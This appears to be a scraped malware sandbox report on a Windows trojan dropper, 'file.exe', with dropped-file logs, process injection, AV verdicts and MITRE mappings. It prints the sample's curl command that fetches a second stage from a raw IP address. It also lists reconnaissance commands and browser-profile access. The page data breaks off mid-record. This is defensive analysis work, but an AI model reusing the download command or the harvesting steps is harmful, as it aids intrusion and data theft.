"35ebc36a-dd72-4649-9188-254acc3031b0.png" has type "PNG image data 452 x 277 8-bit/color RGB non-interlaced" and extension "png" "0ddb5d83-3980-43df-b938-98cc27f2ce80.png" has type "PNG image data 651 x 254 8-bit/color RGB non-interlaced" and extension "png" "21612353-e53d-4fae-ac9e-034978204566.png" has type "PNG image data 453 x 278 8-bit/color RGB non-interlaced" and extension "png" "6acd7df4-f195-4f6d-98b9-b8f3e80f5759.png" has type "PNG image data 453 x 278 8-bit/color RGB non-interlaced" and extension "png" "41eb345a-67ed-4293-b790-d66af12e9482.png" has type "PNG image data 454 x 278 8-bit/color RGB non-interlaced" and extension "png" "15f1ba95-3461-409b-9e8d-63fd5a916242.png" has type "PNG image data 749 x 126 8-bit/color RGB non-interlaced" and extension "png" "07615dd4-2ff7-4510-804f-2eceb1ca813c.png" has type "PNG image data 453 x 278 8-bit/color RGB non-interlaced" and extension "png" "1e81fb27-0aa3-4b11-a764-0d9e7e3272ea.png" has type "PNG image data 707 x 42 8-bit/color RGB non-interlaced" and extension "png" "0d984a6a-e70e-4747-bded-b92173e85c21.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced" and extension "png" "03809a07-348b-48cc-b08d-f7b8472c133c.png" has type "PNG image data 296 x 85 8-bit/color RGB non-interlaced" and extension "png" "5f2cf75b-881d-4381-a640-48b3a4cf3d3b.png" has type "PNG image data 167 x 131 8-bit/color RGB non-interlaced" and extension "png" "13363038-e235-4b9e-9031-d6c58d12484d.png" has type "PNG image data 164 x 89 8-bit/color RGB non-interlaced" and extension "png"74:T7a8,"file.exe" wrote 15000 bytes starting with PE header signature to file "C:\Windows\Temp\jep0nmpc32hk.sys": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.exe" wrote 62976 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\uzbektajik.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.exe" wrote 3072 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\itsub.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "uzbektajik.exe" wrote 47104 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\rxinj_1792193633892748900\helper.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "uzbektajik.exe" wrote 16896 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\rxlss_1792194023545449700\lss.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...75:Tb7f,Found string "\\%s\root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="0"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000000.274160.08E50000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="4"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000000.274160.08E50000.00000004.mdmp") Found string "\\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="4"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000000.274160.08E50000.00000004.mdmp") Found string "root\cimv2" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000000.274160.08E50000.00000004.mdmp, 00000000-00004512.00000000.274160.C1C22000.00000002.mdmp, 00000000-00004512.00000001.275141.08E8A000.00000004.mdmp, 00000000-00004512.00000001.275141.08EA0000.00000004.mdmp") Found string "P-FVVF82A\root\cimv2:Win32_Process.Handle="4"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000000.274160.09090000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="3272"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000001.275141.08E8A000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="7244"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000001.275141.08E8A000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="4784"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000001.275141.08E8A000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="3200"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000001.275141.08E8A000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="4296"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000001.275141.08E8A000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="5268"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000001.275141.08E8A000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="6700"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000001.275141.08E8A000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="6124"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000001.275141.08E8A000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="6552"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000001.275141.08E8A000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="5580"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000001.275141.08E8A000.00000004.mdmp") Found string "\\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="5580"" (Indicator: "root\cimv2"; in Source: "00000000-00004512.00000001.275141.08E8A000.00000004.mdmp")76:Tf6d,"file.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\curl.exe" (Handle: 576) "file.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\curl.exe" (Handle: 576) "file.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\curl.exe" (Handle: 568) "file.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\curl.exe" (Handle: 568) "file.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\uzbektajik.exe" (Handle: 608) "file.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\uzbektajik.exe" (Handle: 608) "file.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\itsub.exe" (Handle: 584) "file.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\itsub.exe" (Handle: 584) "uzbektajik.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\ipconfig.exe" (Handle: 436) "uzbektajik.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\ipconfig.exe" (Handle: 436) "uzbektajik.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\rxinj_1792193633892748900\helper.exe" (Handle: 764) "uzbektajik.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\rxinj_1792193633892748900\helper.exe" (Handle: 764) "uzbektajik.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 796) "uzbektajik.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 796) "uzbektajik.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\tasklist.exe" (Handle: 824) "uzbektajik.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\tasklist.exe" (Handle: 824) "uzbektajik.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\whoami.exe" (Handle: 772) "uzbektajik.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\whoami.exe" (Handle: 772) "uzbektajik.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 828) "uzbektajik.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 828) "uzbektajik.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\rxlss_1792194023545449700\lss.exe" (Handle: 872) "uzbektajik.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\rxlss_1792194023545449700\lss.exe" (Handle: 872) "uzbektajik.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\ipconfig.exe" (Handle: 840) "uzbektajik.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\ipconfig.exe" (Handle: 840) "helper.exe" wrote 00000FB8 bytes to a remote process "C:\Program Files\Google\Chrome\Application\chrome.exe" (Handle: 364) "helper.exe" wrote 00000008 bytes to a remote process "C:\Program Files\Google\Chrome\Application\chrome.exe" (Handle: 364) "helper.exe" wrote 00102400 bytes to a remote process "C:\Program Files\Google\Chrome\Application\chrome.exe" (Handle: 364) "helper.exe" wrote 00000FB8 bytes to a remote process "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" (Handle: 372) "helper.exe" wrote 00000008 bytes to a remote process "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" (Handle: 372) "helper.exe" wrote 00102400 bytes to a remote process "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" (Handle: 372) "helper.exe" wrote 00000046 bytes to a remote process "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" (Handle: 372) "powershell.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\netsh.exe" (Handle: 2064) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\netsh.exe" (Handle: 2064)77:T1055,"uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\activity-stream.tippytop.json" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\activity-stream.topstories.json" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\001DB8AE3A46F009910967724D0E7F33B99AA751" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\00659E1F8F558174C53F6752E1EE07AD1D1ADEAF" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\00CACAB4A2A08019AB723BBEA8A2918C4D611880" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\01B389B4B6499331C42AB8882DF16FC3A7ED7408" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\0217E9CBD61685C0FB421A40803D21212CA9C884" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\021A9A79C17610AF76A2D0507B665C9675CEF494" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\02ABD00ED4A4FD6AE4F52DE4382F135A72A2131C" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\0311672596129101B46B4E433A163DAFE1041BB6" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\040E74E71C45D91C46022EA4BEC836CA19AB6DE8" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\04267DCF6B6DF3614BF6EE76DCB0B5EB1390F12D" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\044A925ADC491F971559A38B382FA7569E9E8137" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\047880D7EC2D2467D4622E814C9780F95A7A160F" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\048C0BA637EBDCC6986C557430C171C0FFEFB666" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\04F7615FBC29346C1C06F188DF08171608B148A0" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\0505E39591E4B6D9940370D4300ABD03896C7EE9" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\05250D893D6013CB681BC7B40EC3AB84090AC132" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\05582FF5C196A4485F189490FEC9ECEA0890DA32" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\05BB2A24C9592E36B2CB5E2F0449D4BB3A6021AE" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\060C63588F45B35E7341A8950BAB98961FAC3E03" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\065B135CB798BE21F556DAA7E21182BCA84B74AD" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\06DACCBAC548ADC3BD4E99DA57B80FCA754FD0B8" "uzbektajik.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Mozilla\Firefox\Profiles\ywzu7870.default\cache2\entries\07B3BF39C7822718F6EA5C627D7D92EEC198B2DB"78:T6ab,Spawned process "file.exe" (UID: 00000000-00006548) Spawned process "curl.exe" with commandline "-s -L --connect-timeout 10 --max-time 120 --retry 1 -A Microsoft-Symbol-Server/10.1700.661.0 -o "%TEMP%\\ntkrnlmp_7C6B3934E36B4ED89EA9374957EDEAC41.pdb" "https://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/7C6B3934E36B4ED89EA9374957EDEAC41/ntkrnlmp.pdb"" (UID: 00000000-00004788) Spawned process "curl.exe" with commandline "-s -L --connect-timeout 10 --max-time 120 -o "%APPDATA%\\jy1gj29sb6l8" "http://107.175.82.242:9000/wilow/uzbektajik.bin"" (UID: 00000000-00004988) Spawned process "uzbektajik.exe" (UID: 00000000-00006976) Spawned process "itsub.exe" (UID: 00000000-00003200) Spawned process "ipconfig.exe" with commandline ""ipconfig" /all" (UID: 00000000-00004124) Spawned process "helper.exe" with commandline "-f all" (UID: 00000000-00006700) Spawned process "powershell.exe" with commandline ""powershell" -Command "Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | Select-Object DisplayName"" (UID: 00000000-00008084) Spawned process "tasklist.exe" with commandline ""tasklist"" (UID: 00000000-00004512) Spawned process "whoami.exe" with commandline ""whoami" /groups" (UID: 00000000-00005040) Spawned process "powershell.exe" with commandline ""powershell" -Command "netsh wlan show profiles"" (UID: 00000000-00006552) Spawned process "lss.exe" (UID: 00000000-00006124) Spawned process "ipconfig.exe" with commandline ""ipconfig" /all" (UID: 00000000-00002240) Spawned process "ipconfig.exe" with commandline ""ipconfig" /all" (UID: 00000000-00007240) Spawned process "netsh.exe" with commandline "wlan show profiles" (UID: 00000000-00003480)1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1792195294010,"unified_at":"2026-10-17T00:01:34.010Z","metadata":{"hashes":{"sha256":"ce1eb64fc04650f2e124bbae21a41cbaaf6e583c5b8783e2519fada7f6e8e957","sha1":"b9a9fea976845f844adc99e956397ff1db6ad844","md5":"3e7226b66846f399e30f1dd94a004353","sha512":"e9320336a8a2a50a806b86dcfb716ee189f0b7613b8a779ce00132602a8314eca5204795f69b280a64a46fbd1e87e14e241b349ada475bab2df796ca1b175c93","ssdeep":"49152:690qim+vGIljuWDQ10LYKXWkITdgJ1TDeDOP:Sqm+/ljNDO0LhkYa0","ssdeep_chunks":["49152:690qim+","49152:90qim+v","49152:0qim+vG","49152:qim+vGI","49152:im+vGIl","49152:m+vGIlj","49152:+vGIlju","49152:vGIljuW","49152:GIljuWD","49152:IljuWDQ","49152:ljuWDQ1","49152:juWDQ10","49152:uWDQ10L","49152:WDQ10LY","49152:DQ10LYK","49152:Q10LYKX","49152:10LYKXW","49152:0LYKXWk","49152:LYKXWkI","49152:YKXWkIT","49152:KXWkITd","49152:XWkITdg","49152:WkITdgJ","49152:kITdgJ1","49152:ITdgJ1T","49152:TdgJ1TD","49152:dgJ1TDe","49152:gJ1TDeD","49152:J1TDeDO","49152:1TDeDOP","98304:690qim+","98304:90qim+v","98304:0qim+vG","98304:qim+vGI","98304:im+vGIl","98304:m+vGIlj","98304:+vGIlju","98304:vGIljuW","98304:GIljuWD","98304:IljuWDQ","98304:ljuWDQ1","98304:juWDQ10","98304:uWDQ10L","98304:WDQ10LY","98304:DQ10LYK","98304:Q10LYKX","98304:10LYKXW","98304:0LYKXWk","98304:LYKXWkI","98304:YKXWkIT","98304:KXWkITd","98304:XWkITdg","98304:WkITdgJ","98304:kITdgJ1","98304:ITdgJ1T","98304:TdgJ1TD","98304:dgJ1TDe","98304:gJ1TDeD","98304:J1TDeDO","98304:1TDeDOP","49152:Sqm+/lj","49152:qm+/ljN","49152:m+/ljND","49152:+/ljNDO","49152:/ljNDO0","49152:ljNDO0L","49152:jNDO0Lh","49152:NDO0Lhk","49152:DO0LhkY","49152:O0LhkYa","49152:0LhkYa0"],"imphash":"8fd8a85adcf38e28b1db634b7f4ebec9"},"file_info":{"file_name":"file.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":2342098,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1792193434000,"last_seen":1792193608000,"last_multi_scan":1792193608000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive","windows-server-utility"]},"stats":{"av":{"malicious_count":6,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":113},"sandbox_signatures":{"informative_count":301,"suspicious_count":19,"malicious_count":8,"total":328},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_100.0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.MalwareX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_90% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win64/GenKryptik_AGen.FHW trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanDropper/Agent.atq","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/DwnLd-AWP","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win64/GenKryptik_AGeneric.FHW trojan","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Vulnerability Scanning","attack_id":"T1595.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1595/002","identifiers":[{"type":"informative","value":"Able to use vulnerability or port scanning tools"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Resource Development","technique":"Digital Certificates","attack_id":"T1588.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1588/004","identifiers":[{"type":"informative","value":"May contain SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Initial Access","technique":"External Remote Services","attack_id":"T1133","attack_id_wiki":"https://attack.mitre.org/techniques/T1133","identifiers":[{"type":"informative","value":"Able to configure Windows Remote Management service"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"suspicious","value":"Contains native function calls"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Execution","technique":"Software Deployment Tools","attack_id":"T1072","attack_id_wiki":"https://attack.mitre.org/techniques/T1072","identifiers":[{"type":"informative","value":"Contains reference to software packages activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"tactic":"Execution","technique":"Windows Management 